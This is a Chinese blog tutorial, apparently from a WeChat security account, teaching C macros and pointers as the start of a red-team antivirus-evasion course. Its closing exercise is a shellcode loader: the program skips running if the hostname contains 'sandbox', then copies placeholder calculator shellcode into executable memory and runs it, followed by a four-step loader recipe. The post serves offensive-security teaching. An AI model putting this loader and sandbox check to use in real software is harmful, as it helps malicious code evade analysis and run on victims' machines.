一线红队带你从O到无限进步
本文章所涉及所有内容均是大佬上课说讲的内容,其中做了一下基础的补充,高深的技术后面会慢慢在文章中出现
一线在职红队在线性感分享技术,从c语言开始基础带你慢慢进入终端对抗(免杀但是不止免杀)的大门。
紧接上文
宏定义
无参数宏
#define 标识符(一般大写) 替换列表
如:
#define PI 3.14
带参宏
#define 标识符(参数1,参数2,…,参数n) //替换列表
如:
#define MAX(a,b) ((a)>(b)?(a):(b))
注意: 宏定义在使用时尽量使用括号括起。
例子:
#define CHAR_STR "123"//无参宏#define WCHAR_STR L"123" //宽字节无参宏#define MEMORY_ALLOC(size) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, (size))//带参宏使用HeapAlloc函数申请内存#define MEMORY_ALLOC_CHAR(size) calloc((size), 1)//带参宏使用calloc函数申请内存#define MEMORY_FREE(buffer) free(buffer)//带参宏使用free函数释放内存
带参宏和函数的区别
1.宏替换发生在预处理阶段,函数调用在程序运行期间 2.函数调用时会对参数类型进行严格的检查,宏替换发生在预处理阶段,对带参宏调用的参数不做检查 3.函数需要为参数分配空间 4.函数在调用时需要为检查传参类型是否一致带参,为参数分配空间。相对而言宏运行速度更快
指针
本质上指针就是地址,口语中所说的指针,其实就是指针变量,指针变量是用来存放地址的一个指针。
语法:
int p = 1; //这个是普整形变量int* p = NULL;//这是整形指针变量char a = '1';//这是个字符型变量char* a = NULL;//这是字符型指针以此类推,其他类型指针均是如此
指针基础语法就是这样
指针里面存放的是一个地址
取址符(&)
语法:
int a = 1;int* pa = &a;//取a的地址赋值给*pa
例子:
int a = 1;printf("%p",&a);//%p就是格式说明符,而&a就表示取出a这个变量的地址那这个打印出来就会是0x12345678。
解引用
语法:
int a = 1;int* pa = &a;*pa = 100;
例子:
int a = 1;int* pa = &a;*pa = 100;这里就是解应用,本质就是将指针里面储存的地址所指向的位置的值取出来,然后赋值为100,也就是a现在为a = 100
指针的大小
①32平台下地址是32bit位,指针变量大小是4字节
②64平台下地址是64bit位,指针变量大小是8字节
假设我们是64为为平台char* 大小为8字节int* 大小为8字节double* 大小为8字节float* 大小为8字节short* 大小为8字节假设我们是32为为平台char* 大小为4字节int* 大小为4字节double* 大小为4字节float* 大小为4字节short* 大小为4字节
注意:指针变量的大小和类型无关,只要指针类型的变量,在相同平台下,大小都是相同的。
野指针
野指针就是指针指向的位置是不可知的(随机的、不正确的、没有明确限制的)
野指针的成因
① 指针未初始化
② 指针越界访问
③ 指针指向的空间释放
如何规避野指针
① 指针初始化
② 小心指针越界
③ 指针变量不再使用,及时置NULL,指针使用之前检查有效性
④ 避免返回局部变量的地址
注意:一定要注意避免野指针的发生
多级指针
如果一个指针指向的是另一个指针,我们就成他为二级指针,或者指向指针的指针,这里就被称为多级指针。
语法:
int a=100;int* pa=&a;//一级指针int** paa=&pa;//二级指针int*** paaa=&paa//三级指针以此类推四级,五级以及更多。
例子:
由于指针的复杂度要高一点这里我们之间用代码来演示
# include <stdio.h>int main(void){ int i = 10; int *p = &i; int **q = &p; int ***r = &q; printf("i = %dn", ***r); return 0;}输出结果是:i = 10
例子(大佬给出的测试题)
测试一级指针和二级指针是否熟练对指针的理解,大家可以试试去修改,修改后的代码可以私信公众号
#include <stdio.h>#include <Windows.h>//测试内容//1.修改代码中的语法错误 进行单步调试 将代码的编译警告清除 最终执行出弹出计算器shellcode 实现宏定义函数HeapAlloc HeapFree char calculate[] = {shellcode代码};BOOL GetHostName(CHAR** hostName) //改为二级指针{ DWORD hostNameLen = 100; char* buffer = calloc(100, 1); if (!GetComputerNameA(buffer, &hostNameLen)) // GetComputerNameA是win32 的api 获取电脑hostname 第一个参数为存放hostname的内存缓冲区 第二个参数为缓冲区大小的地址 { return FALSE; } //memcpy(hostName, hostName, 100); *hostName = buffer; return TRUE;}BOOL CheckIsSandbox(){ CHAR* hostName = NULL; CHAR* sandboxName = "sandbox"; if (!GetHostName(&hostName)) return FALSE; if (!strstr(hostName, sandboxName)) //strstr 字符串比较函数 bool类型 { printf("%sn", "not in sandbox"); free(hostName); return TRUE; } return FALSE;}BOOL ExecShellcode(char* shellcode, DWORD shellcodeSize){ CHAR* shellcodeBuffer = NULL; if (shellcodeSize == 0) { printf("Invalid shellCode lengthn"); return FALSE; } shellcodeBuffer = VirtualAlloc(NULL, shellcodeSize, MEM_COMMIT, PAGE_EXECUTE_READWRITE); memcpy(shellcodeBuffer, shellcode, shellcodeSize); ((void(*)())shellcodeBuffer)(); return TRUE;}void GetShellCode(char** buffer)//改为二级指针 void函数类型{ char* shellcodeBuffer = calloc(sizeof(calculate), 1); memcpy(shellcodeBuffer, calculate, sizeof(calculate)); *buffer = shellcodeBuffer;}int main(){ if (CheckIsSandbox()) { CHAR* buffer = NULL; GetShellCode(&buffer); DWORD bufferSize = sizeof(calculate); ExecShellcode(buffer, bufferSize); return 0; } return -1;}
常规shellcode执行步骤(为核心基础步骤)
1.计算shellcode内存大小(因为我们需要去申请一块内存存放我们的shellcode,所以需要获得shellcode的大小)
2.申请shellcode内存(根据大小申请内存,这里我们需要申请可读可写可执行的内存)
3.将shellcode写入内存中(写入shellcode)
4.执行shellcode内容(shellcode放入内存以后我们将它执行起来)
原文始发于微信公众号(泾弦安全):免杀对抗从0开始(二)
- 左青龙
- 微信扫一扫
- 右白虎
- 微信扫一扫
评论